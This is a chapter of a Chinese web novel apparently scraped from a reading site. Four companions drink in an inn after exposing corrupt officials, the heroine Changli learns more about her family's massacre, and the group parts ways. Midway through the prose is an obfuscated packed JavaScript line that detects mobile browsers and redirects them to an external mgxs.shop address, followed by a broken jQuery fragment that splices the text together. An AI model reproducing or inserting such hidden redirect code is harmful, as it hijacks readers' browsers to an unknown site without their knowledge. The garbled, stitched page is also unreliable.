青州城,云来客栈二楼。
店小二端着空的托盘退出房间,关上门,还能隐约听见里面传出的欢声笑语。
“哈哈哈哈……沈清言这厮,这回要气死了吧!”石祝叉腰,一脚踩在椅子上,放肆大笑。
“哼,气死他算轻了,”柳不白手里拿着一本厚厚的册子,他翻了翻,“这些证据,可够他们吃一壶了!”
柳不白手里拿着的是,长离这些年偷的部分贪官污吏的把柄,其中还有不少官员的账册等等。
原来,四人被抓入狱之前,长离将这些证据交给了钱惟庸。
钱惟庸按照明朝的计划,私下命人印成了许多份,等沈清言回京后,趁夜里撒满了青州城,百姓们一大早就能瞧见满地的纸张。
接下来很长一段时间里,青州城都相当热闹,每个人都在谈论这件事情。
真真假假的消息混在一起,作戏曲、编歌谣、抄写成小册子,让街边的乞儿散播,让酒楼茶馆的说书人来说,让年幼的孩童在街头巷尾唱。
乐得看热闹的百姓们,一传十,十传百,很快消息就从青州城传了出去。
钱惟庸还派人快马加鞭将这些证据送往了京城,用同样的方式传出去,想必沈清言到京城后,消息已经传遍了全城。
沈清言和秦无咎即便事后想找他们麻烦,也得将这满头满脑的虱子摘干净再说。
反正眼下,四人的通缉令已经撤销,暂时也是安全的。
柳不白放下手里的册子。
“喝!”石祝直接捧着一大坛酒,仰头灌进嘴里,放下后用手一抹嘴,直呼,“痛快!”
一旁的柳不白略带嫌弃地“啧”了一声,“上好的女儿红,你这般喝法简直浪费,如牛饮水。”
石祝转头看见柳不白拿个瓷白的酒杯,也嫌弃道:“你懂个蛋!”
眼见两人又开始斗嘴,对面的明朝已经习以为常地吃着菜喝着酒,顺便看了一眼旁边的长离。
长离手里捏着酒杯,有一口没一口地喝着,她已经看过明朝给的当年灭门案的手抄本了。
手抄本的最后写着:
谢老将军告老还乡,携家眷归乡途中遇山匪劫杀,纵火后尸骨无存,无人生还。
“山匪”劫杀?多可笑!
父亲兄长征战沙场时,何等英勇善战。母亲亦是将门虎女,武功不比父亲差。更何况谢家枪法闻名天下,又怎么会被区区山匪劫杀?
为了镇守边关,谢家祖辈都有子孙埋骨边关,最后竟落得个尸骨无存。
长离脸上没什么表情,捏着酒杯的手指却逐渐泛白。
“长离姑娘,”察觉到长离情绪的明朝,为她斟了一杯酒,“我记得,第一次随父亲见到谢老将军时……”
那时明朝不过七八岁,父亲是谢将军的幕僚,随着谢家军胜仗归朝,明朝也总算能见到常年在外的父亲……
听着明朝闲聊般的语气,说着一些往事,长离心里渐渐平静下来。
她手指轻轻摩挲着酒杯,侧耳安静听着,那些她不曾听过的,多年前父亲兄长的趣事。
“……长离姑娘,若是日后,有我能帮忙的地方,不必客气,你尽管开口。”
明朝这些年一直保存着关于谢家的物品,加上父亲临终前的遗言,他也一定会帮忙的。
“欸,等、等一下!”原本和石祝斗嘴的柳不白,也扭过头来,他刚刚听了一点明朝的话,他忽然反应过来,“你是说,大小姐是谢将军的女儿?!”
“是啊,你不知道?”石祝问他。
“我怎么知道?”柳不白翻了个白眼,“难怪你叫她大小姐,没想到,真的是谢家大小姐啊!”
“早已经没有什么谢家大小姐了。”长离微微垂下眼睛,看着杯子里摇晃的酒液。
“嗯……叫大小姐是有点奇怪,”柳不白摸了摸下巴,想了一会,“有了!”
柳不白打了个清脆的响指,“你在家中排行第三,我们四人论年龄,你也是第三,不如我们唤你三娘,如何?”
“……你随意。”这些年,除了师父和家人,还不曾有别的人这样喊过她。
长离扭过头去,耳朵有些泛红。
“我看行!”石祝点点头,他咧嘴一笑,举起酒碗,“敬三娘!”
“敬三娘~”柳不白笑眯眯地也端起酒杯。
“也敬我们,”明朝举起酒杯,“此次能够顺利将粮草军饷运到边关,三位都功不可没,敬我们!”
“叮啷”一声,四个不同的酒杯碰在一起,倾洒的酒液也混入一处,滴落在桌面,像一朵绽放的梅花。
吃饱喝足后,小二送上来一壶消食的茶,和一些小食。
四人坐在窗边,看着楼下来往的行人。
此时正值午时,秋高气爽,凉风徐徐,十分惬意。
柳不白靠在窗沿,手指点一点楼下,街市的百姓在他的指尖下移动着,他忽然问几人:“哎,你们说,如果天下太平,你们最想做什么?”
“我嘛,有饱饭吃,有好酒喝,再开一间武器铺,这日子!”石祝咂了一下嘴巴,手里还拿着一壶酒,目光也望向远方。
柳不白笑了:“那你的武器铺可得给我们打折啊。”
“那当然!你们来,我总是欢迎的。”石祝咧嘴笑着,和柳不白碰了碰杯。
“明朝,你呢?”柳不白转头,问一旁的明朝。
明朝摇摇头,“我没想过,能过一日便是一日。”
“书生就是无趣,三娘,”柳不白又问另一边的长离,“你呢,最想做什么?”
长离想了一下,然后才说,“如果天下太平,再无不平之事,再无伸冤之人,再无蛮夷来犯,我最想游遍大江南北,为自己而活。”
为自己而活。
一时,几人沉默下来,他们这一辈子,要想为自己而活,得先闯过刀山火海,卸下沉重的过往种种,才能算是为自己而活。
“害,喝酒喝酒!”
“敬我们今天还活着!就此刻,为自己干了这一杯!”
“干了!”
……
长离听着几人说说笑笑,看着楼下人来人往,心里却在想着钱惟庸之前告诉她的事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614216|206036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那天夜里,钱惟庸得知谢家旧部接触过长离,也得知了长离的身份。
“当年,先帝下旨,命我运送粮草到边关,临行前,我曾检查过,粮食都是好的,白银也没有差错。”
钱惟庸捏紧拳头,“可就在途中,遇到一群灾民,见了粮食就闹开了,划破了袋子,里面漏出来的全是沙砾石子,原来只有表面那层是粮食,内里全是石子,就连箱里的白银也只有表面那一层……”
灾民看见了这一幕,愈发群情激奋,大喊着“狗官!还我们钱粮!”
激动的灾民将钱惟庸一行人的路给堵死,足足耽误了两天时间。
后来,钱惟庸想尽办法先凑了一些钱粮,但是等到运至边关,还是迟了一步。
那一仗,损失惨重。
到现在钱惟庸都记得,城门打开后,一张张带着希望又愤怒的脸,遍地饿殍,尸横遍野。
钱惟庸回到京城后,本以为会被重罚,没想到反而升了官。而带领谢家军回京的谢将军一家,却被剥夺职位,卸下军权。
粮草一事他本就有失职之过,但不降反升,愈发坐实了他投靠秦无咎的“事实”。
此后,府上被派人盯着,借他的名义替秦无咎办事,秦无咎还送来无数金银珠宝。他将人赶出府,将金银珠宝统统归还,也无济于事。
人人都说他是秦无咎的走狗。
这些年来,他有口难言。只能自请来到青州,远离朝堂。没想到,秦无咎竟还不肯放过他。
讲完后,钱惟庸叹了口气,“终究是我没仔细查看,遭了算计,耽误了灾情。”
钱惟庸将当年的证据保留了下来,一并交给了长离。
得知了当年的部分真相,长离一时也有些难以接受。
原以为钱惟庸是害得谢家灭门的凶手之一,没想到他也是被陷害的。
那么要找到当年对谢家动手的那一群“山匪”。能劫杀谢家人的,绝不是一般人,而武功和父亲不相上下的,也没有多少人。
长离接下来打算要一一查过去,将当年动手的人找出来。
陷入沉思的长离被几人打断。
“想什么呢?”柳不白戳戳她的肩膀。
“没什么。”长离摇摇头,不打算将自己的事情说出来,“接下来,你们打算去哪?”
四人本就是因为粮草一事聚在一起的,如今事情已经顺利解决,通缉令也撤销了,也是到了分开的时候了。
原本笑眯眯的柳不白愣了一下的,语气有些不自然地说:“那自然……是回去接着唱戏。”
石祝倒是一反常态,没有吭声,只是看了看明朝。
明朝笑了笑,“天下无不散的筵席,能和大家并肩作战,是明朝的荣幸。”
“客气啥,尽说些虚的!我石头能认识大家伙,也是值了!”
……
确实到了分别的时候。
四人说了一会话之后,就一起离开酒楼,各自骑上马,准备前往不同的方向。
明朝拱了拱手。
“那么,江湖路远,各位,有缘再见。”